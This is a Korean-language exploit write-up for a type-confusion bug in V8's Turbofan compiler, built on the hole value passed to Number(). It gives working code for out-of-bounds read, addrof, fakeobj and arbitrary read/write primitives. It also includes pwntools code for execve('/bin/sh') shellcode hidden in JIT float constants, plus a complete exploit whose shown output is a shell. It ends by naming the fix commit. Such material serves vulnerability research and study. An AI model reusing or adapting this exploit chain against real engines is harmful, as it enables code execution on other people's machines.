Environment Setting
Install depot_tools
cd ~
git clone https://chromium.googlesource.com/chromium/tools/depot_tools.git
export PATH=~/depot_tools:$PATH
Get V8 source code
mkdir v8
cd v8
fetch v8
cd v8
git checkout fdc017c89bf910e16f1fa5c6c16022e9e019c6a1
gclient sync -D
Install build dependencies
./build/install-build-deps.sh
Build V8
gn gen out/debug --args="v8_no_inline=true v8_optimized_debug=false is_component_build=false"
gn gen out/release --args="v8_no_inline=true is_debug=false"
ninja -C out/debug d8; ninja -C out/release d8
Install GDB plugin
echo -e '\nsource ~/v8/v8/tools/gdbinit' >> ~/.gdbinit
Exploit
OOB read
JavaScript에서 object를 숫자로 변환하는 Number()
함수는 sea of nodes에서 JSToNumberConvertBigint
node로 표현됩니다.
/* test.js */
function f() {
let n = 1;
n = Number(n);
}
% PrepareFunctionForOptimization(f);
f();
% OptimizeFunctionOnNextCall(f);
f();
~/v8/v8/out/debug/d8 test.js --allow-natives-syntax --trace-turbo
1이라는 상수를 Number()
에 넣은 결과는 그대로 1이 될 것이 확실하기 때문에 JSToNumberConvertBigInt
의 type은 Range(1, 1)
이 됩니다.
그런데 Number()
의 인자로 the_hole
을 전달할 경우,
/* test.js */
const the = { hole: % TheHole() }; // 'const' keyword makes the.hole to be optimized to HeapConstant(Hole)
function f() {
let hole = the.hole;
let n = Number(hole);
}
% PrepareFunctionForOptimization(f);
f();
% OptimizeFunctionOnNextCall(f);
f();
~/v8/v8/out/debug/d8 test.js --allow-natives-syntax --trace-turbo
Number(hole)
의 값은 실제로는 NaN
이지만, Turbofan이 추론한 JSToNumberConvertBigInt
의 type은 None
이 됩니다.
/* test.js */
const the = { hole: % TheHole() }; // 'const' keyword makes the.hole to be optimized to HeapConstant(Hole)
function f() {
let hole = the.hole;
let n = Number(hole) | 0;
}
% PrepareFunctionForOptimization(f);
f();
% OptimizeFunctionOnNextCall(f);
f();
n
을 0과 or 연산하면,
NaN | 0
의 값은 실제로는 0이지만, Turbofan의 입장에서는 None
을 0과 or 연산한 것이기 때문에 그대로 None
이 됩니다.
이 두 가지 상황을 합쳐 보겠습니다.
/* test.js */
const the = { hole: % TheHole() }; // 'const' keyword makes the.hole to be optimized to HeapConstant(Hole)
function f(bool) {
let hole = the.hole;
let n = Number(bool ? hole : -1); // NaN or -1
}
% PrepareFunctionForOptimization(f);
f(true);
% OptimizeFunctionOnNextCall(f);
f(true);
~/v8/v8/out/debug/d8 test.js --allow-natives-syntax --trace-turbo
bool ? hole : -1
의 type은 Hole | Range(-1, -1)
이 되는데, Hole
은 JSToNumberConvertBigInt
에 들어가면 None
이 되기 때문에 무시되어, 결과적으로 Turbofan은 n
의 type을 Range(-1, -1)
로 추론하게 됩니다. 하지만 bool
이 true
일 경우 n
의 실제 값은 NaN
이 됩니다.
n
을 0과 or 연산하면,
/* test.js */
const the = { hole: % TheHole() }; // 'const' keyword makes the.hole to be optimized to HeapConstant(Hole)
function f(bool) {
let hole = the.hole;
let n = Number(bool ? hole : -1) | 0; // 0 or -1
}
% PrepareFunctionForOptimization(f);
f(true);
% OptimizeFunctionOnNextCall(f);
f(true);
~/v8/v8/out/debug/d8 test.js --allow-natives-syntax --trace-turbo
Turbofan의 입장에서는 Range(-1, -1)
을 0과 or 연산한 것이기 때문에 그대로 Range(-1, -1)
이 됩니다. 하지만 bool
이 true
일 경우 n
의 실제 값은 NaN
과 0을 or 연산한 0이 됩니다.
이 상태에서 1을 더하면,
/* test.js */
const the = { hole: % TheHole() }; // 'const' keyword makes the.hole to be optimized to HeapConstant(Hole)
function f(bool) {
let hole = the.hole;
let n = (Number(bool ? hole : -1) | 0) + 1; // 1 or 0
console.log(n);
}
% PrepareFunctionForOptimization(f);
f(true);
% OptimizeFunctionOnNextCall(f);
f(true);
$ ~/v8/v8/out/debug/d8 test.js --allow-natives-syntax --trace-turbo
Concurrent recompilation has been disabled for tracing.
1
---------------------------------------------------
Begin compiling method f using TurboFan
---------------------------------------------------
Finished compiling method f using TurboFan
1
Turbofan의 입장에서는 Range(-1, -1)
에 1을 더했으니 Range(0, 0)
이 되지만, bool
이 true
일 경우 n
의 실제 값은 1이 됩니다.
이를 이용하여 다음과 같이 OOB를 발생시킬 수 있습니다.
/* test.js */
const the = { hole: % TheHole() }; // 'const' keyword makes the.hole to be optimized to HeapConstant(Hole)
function oob_read(bool) {
let hole = the.hole;
let idx = (Number(bool ? hole : -1) | 0) + 1; // 1 or 0
let arr = [1.1];
return arr.at(idx * 1);
}
% PrepareFunctionForOptimization(oob_read);
oob_read(true);
% OptimizeFunctionOnNextCall(oob_read);
console.log(oob_read(true));
$ ~/v8/v8/out/debug/d8 test.js --allow-natives-syntax
-8.864952837205469e-7
Helper functions
/* helpers */
let fi_buf = new ArrayBuffer(8); // shared buffer
let f_buf = new Float64Array(fi_buf); // buffer for float
let i_buf = new BigUint64Array(fi_buf); // buffer for bigint
// convert float to bigint
function ftoi(f) {
f_buf[0] = f;
return i_buf[0];
}
// convert bigint to float
function itof(i) {
i_buf[0] = i;
return f_buf[0];
}
// convert bigint to hex string
function hex(i) {
return '0x' + i.toString(16);
}
Addrof primitive
Double array와 object array를 연속되게 배치하고 double array에서 OOB를 이용하여 object array에 저장된 값을 읽으면 그 object의 주소를 얻을 수 있습니다.
let dbl_arr;
let obj_arr;
/* get (compressed) address of {obj} */
function addrof(bool, obj) {
let hole = the.hole;
let idx = (Number(bool ? hole : -1) | 0) + 1;
dbl_arr = [1.1];
obj_arr = [obj];
let obj_addr = ftoi(dbl_arr.at(idx * 4)) & 0xffffffffn;
return obj_addr;
}
% PrepareFunctionForOptimization(addrof);
addrof(true, {});
% OptimizeFunctionOnNextCall(addrof);
/* addrof test */
let tmp_obj = {};
% DebugPrint(tmp_obj);
let tmp_obj_addr = addrof(true, tmp_obj);
console.log(hex(tmp_obj_addr));
Fakeobj primitive
addrof()
와 반대로, object array와 double array를 연속적으로 배치하고 object array에서 OOB를 이용하여 double array에 저장된 값을 읽으면 그 주소에 fake object를 얻을 수 있습니다.
let dbl_arr;
let obj_arr;
/* generate fake object at {addr} */
function fakeobj(bool, addr) {
let hole = the.hole;
let idx = (Number(bool ? hole : -1) | 0) + 1;
addr = itof(addr);
obj_arr = [{}];
dbl_arr = [addr];
let fake_obj = obj_arr.at(idx * 7);
return fake_obj;
}
% PrepareFunctionForOptimization(fakeobj);
fakeobj(true, ftoi(1.1));
% OptimizeFunctionOnNextCall(fakeobj);
/* fakeobj test */
let tmp_obj = {};
let tmp_obj_addr = addrof(true, tmp_obj);
let tmp_fake_obj = fakeobj(true, tmp_obj_addr - 0x20n);
% DebugPrint(tmp_obj);
% DebugPrint(tmp_fake_obj);
AAR/AAW primitive
Fake double array를 만들고 elements
포인터에 임의의 주소를 넣으면 그 주소에 저장된 값을 읽거나 조작할 수 있습니다.
let dbl_arr_map;
let empty_arr;
/* leak some values */
function leak(bool) {
let hole = the.hole;
let idx = (Number(bool ? hole : -1) | 0) + 1;
leak_arr = [1.1];
dbl_arr = [2.2];
let leaked = ftoi(dbl_arr.at(idx * 1));
dbl_arr_map = leaked & 0xffffffffn; // map of double array
empty_arr = leaked >> 32n; // empty array (properties)
}
% PrepareFunctionForOptimization(leak);
leak(true);
% OptimizeFunctionOnNextCall(leak);
leak(true);
/* arbitrary address read */
function aar(addr) {
let dbl_arr_struct = [1.1, 2.2];
dbl_arr_struct[0] = itof((empty_arr << 32n) | dbl_arr_map); // map | properties
dbl_arr_struct[1] = itof((2n << 32n) | (addr - 8n)); // elements | length
let dbl_arr_struct_addr = addrof(true, dbl_arr_struct);
let fake_dbl_arr = fakeobj(true, dbl_arr_struct_addr - 0x10n);
return fake_dbl_arr[0];
}
/* aar test */
let tmp_arr = [1.1];
let tmp_arr_addr = addrof(true, tmp_arr);
let value = aar(tmp_arr_addr - 8n);
console.log(value);
$ ~/v8/v8/out/debug/d8 ex.js --allow-natives-syntax
1.1
/* arbitrary address write */
function aaw(addr, value) {
let dbl_arr_struct = [1.1, 2.2];
dbl_arr_struct[0] = itof((empty_arr << 32n) | dbl_arr_map); // map | properties
dbl_arr_struct[1] = itof((2n << 32n) | (addr - 8n)); // elements | length
let dbl_arr_struct_addr = addrof(true, dbl_arr_struct);
let fake_dbl_arr = fakeobj(true, dbl_arr_struct_addr - 0x10n);
fake_dbl_arr[0] = itof(value);
}
/* aaw test */
let tmp_arr = [1.1];
let tmp_arr_addr = addrof(true, tmp_arr);
aaw(tmp_arr_addr - 8n, ftoi(2.2));
console.log(tmp_arr[0]);
$ ~/v8/v8/out/debug/d8 ex.js --allow-natives-syntax
2.2
Execute shellcode
function f() {
return [1.1, 2.2, 3.3, 4.4, 5.5];
}
% PrepareFunctionForOptimization(f);
f();
% OptimizeFunctionOnNextCall(f);
f();
% DebugPrint(f);
f()
가 최적화되면 반환하는 array 내부의 값들이 상수로 처리되어 코드에 삽입됩니다.
이 위치에 shellcode를 넣고 함수의 code
포인터를 이 위치로 조작하면 삽입한 shellcode가 실행됩니다. 한 번에 최대 8바이트까지만 삽입할 수 있는데, jmp
instruction의 크기가 2바이트이므로, 6바이트 shellcode와 2바이트 jmp
를 합쳐서 다음 shellcode로 점프하도록 하면 길이에 구애받지 않고 임의의 shellcode를 실행할 수 있습니다.
다음은 execve("/bin/sh", 0, 0)
을 실행하는 shellcode를 만드는 코드입니다.
# shellcode.py
from binascii import hexlify
from pwn import *
context(arch='amd64')
jmp = b'\xeb\x0c' # jmp 0xc
shellcode = []
shellcode.append(asm(f'''
push {int(hexlify(b'/bin'[::-1]), 16)}
pop rax
'''))
shellcode.append(asm(f'''
push {int(hexlify(b'/sh'[::-1]), 16)}
pop rbx
'''))
shellcode.append(asm(f'''
shl rbx, 32
'''))
shellcode.append(asm(f'''
add rax, rbx
push rax
'''))
shellcode.append(asm(f'''
mov rdi, rsp
'''))
shellcode.append(asm(f'''
xor rax, rax
mov al, 0x3b
'''))
shellcode.append(asm(f'''
xor rsi, rsi
xor rdx, rdx
syscall
'''))
for i in range(len(shellcode)):
shellcode[i] = shellcode[i].ljust(6, b'\x90') # NOP padding
if i != len(shellcode) - 1:
shellcode[i] += jmp
shellcode[i] = int(hexlify(shellcode[i][::-1]), 16)
print(hex(shellcode[i]))
$ python3 shellcode.py
0xceb586e69622f68
0xceb5b0068732f68
0xceb909020e3c148
0xceb909050d80148
0xceb909090e78948
0xceb903bb0c03148
0x50fd23148f63148
// let shellcode = [0xceb586e69622f68n,
// 0xceb5b0068732f68n,
// 0xceb909020e3c148n,
// 0xceb909050d80148n,
// 0xceb909090e78948n,
// 0xceb903bb0c03148n,
// 0x50fd23148f63148n];
// for (let i = 0; i < shellcode.length; i++) {
// console.log(itof(shellcode[i]));
// }
function shellcode() {
return [1.9555025752250707e-246,
1.9562205631094693e-246,
1.9711824228871598e-246,
1.9711826272864685e-246,
1.9711829003383248e-246,
1.9710902863710406e-246,
2.6749077589586695e-284];
}
% PrepareFunctionForOptimization(shellcode);
shellcode();
% OptimizeFunctionOnNextCall(shellcode);
shellcode();
let shellcode_addr = addrof(true, shellcode);
let code = ftoi(aar(shellcode_addr + 0x18n)) & 0xffffffffn; // code pointer of shellcode()
let inst = ftoi(aar(code + 0x10n)); // instructions pointer of shellcode()
inst += 0x56n; // address of actual shellcode
aaw(code + 0x10n, inst);
shellcode();
$ ~/v8/v8/out/release/d8 ex.js --allow-natives-syntax
$ id
uid=1000(h0meb0dy) gid=1000(h0meb0dy) groups=1000(h0meb0dy),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),122(lpadmin),135(lxd),136(sambashare)
Full exploit
/* ex.js */
/* helpers */
let fi_buf = new ArrayBuffer(8); // shared buffer
let f_buf = new Float64Array(fi_buf); // buffer for float
let i_buf = new BigUint64Array(fi_buf); // buffer for bigint
// convert float to bigint
function ftoi(f) {
f_buf[0] = f;
return i_buf[0];
}
// convert bigint to float
function itof(i) {
i_buf[0] = i;
return f_buf[0];
}
// convert bigint to hex string
function hex(i) {
return '0x' + i.toString(16);
}
const the = { hole: % TheHole() }; // 'const' keyword makes the.hole to be optimized to HeapConstant(Hole)
let dbl_arr;
let obj_arr;
/* get (compressed) address of {obj} */
function addrof(bool, obj) {
let hole = the.hole;
let idx = (Number(bool ? hole : -1) | 0) + 1;
dbl_arr = [1.1];
obj_arr = [obj];
let obj_addr = ftoi(dbl_arr.at(idx * 4)) & 0xffffffffn;
return obj_addr;
}
for (let i = 0; i < 0x10000; i++) { addrof(true, {}); } // optimization
/* generate fake object at {addr} */
function fakeobj(bool, addr) {
let hole = the.hole;
let idx = (Number(bool ? hole : -1) | 0) + 1;
addr = itof(addr);
obj_arr = [{}];
dbl_arr = [addr];
let fake_obj = obj_arr.at(idx * 7);
return fake_obj;
}
for (let i = 0; i < 0x10000; i++) { fakeobj(true, ftoi(1.1)); } // optimization
let dbl_arr_map;
let empty_arr;
/* leak some values */
function leak(bool) {
let hole = the.hole;
let idx = (Number(bool ? hole : -1) | 0) + 1;
let leak_arr = [1.1];
dbl_arr = [2.2];
let leaked = ftoi(dbl_arr.at(idx * 1));
dbl_arr_map = leaked & 0xffffffffn; // map of double array
empty_arr = leaked >> 32n; // empty array (properties)
}
for (let i = 0; i < 0x10000; i++) { leak(true); } // optimization
/* arbitrary address read */
function aar(addr) {
let dbl_arr_struct = [1.1, 2.2];
dbl_arr_struct[0] = itof((empty_arr << 32n) | dbl_arr_map); // map | properties
dbl_arr_struct[1] = itof((2n << 32n) | (addr - 8n)); // elements | length
let dbl_arr_struct_addr = addrof(true, dbl_arr_struct);
let fake_dbl_arr = fakeobj(true, dbl_arr_struct_addr - 0x10n);
return fake_dbl_arr[0];
}
/* arbitrary address write */
function aaw(addr, value) {
let dbl_arr_struct = [1.1, 2.2];
dbl_arr_struct[0] = itof((empty_arr << 32n) | dbl_arr_map); // map | properties
dbl_arr_struct[1] = itof((2n << 32n) | (addr - 8n)); // elements | length
let dbl_arr_struct_addr = addrof(true, dbl_arr_struct);
let fake_dbl_arr = fakeobj(true, dbl_arr_struct_addr - 0x10n);
fake_dbl_arr[0] = itof(value);
}
// let shellcode = [0xceb586e69622f68n,
// 0xceb5b0068732f68n,
// 0xceb909020e3c148n,
// 0xceb909050d80148n,
// 0xceb909090e78948n,
// 0xceb903bb0c03148n,
// 0x50fd23148f63148n];
// for (let i = 0; i < shellcode.length; i++) {
// console.log(itof(shellcode[i]));
// }
function shellcode() {
return [1.9555025752250707e-246,
1.9562205631094693e-246,
1.9711824228871598e-246,
1.9711826272864685e-246,
1.9711829003383248e-246,
1.9710902863710406e-246,
2.6749077589586695e-284];
}
for (let i = 0; i < 0x10000; i++) { shellcode(); } // optimization
let shellcode_addr = addrof(true, shellcode);
let code = ftoi(aar(shellcode_addr + 0x18n)) & 0xffffffffn; // code pointer of shellcode()
let inst = ftoi(aar(code + 0x10n)); // instructions pointer of shellcode()
inst += 0x56n; // address of actual shellcode
aaw(code + 0x10n, inst);
shellcode();
$ ~/v8/v8/out/release/d8 ex.js
$ id
uid=1000(h0meb0dy) gid=1000(h0meb0dy) groups=1000(h0meb0dy),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),122(lpadmin),135(lxd),136(sambashare)
Patch
이 기법은 커밋 f18865b35f44b31e422ffb637034b7ccb7285e98에서 패치되어, 이제 Number(% TheHole())
이 SEGV_MAPERR
를 발생시킵니다.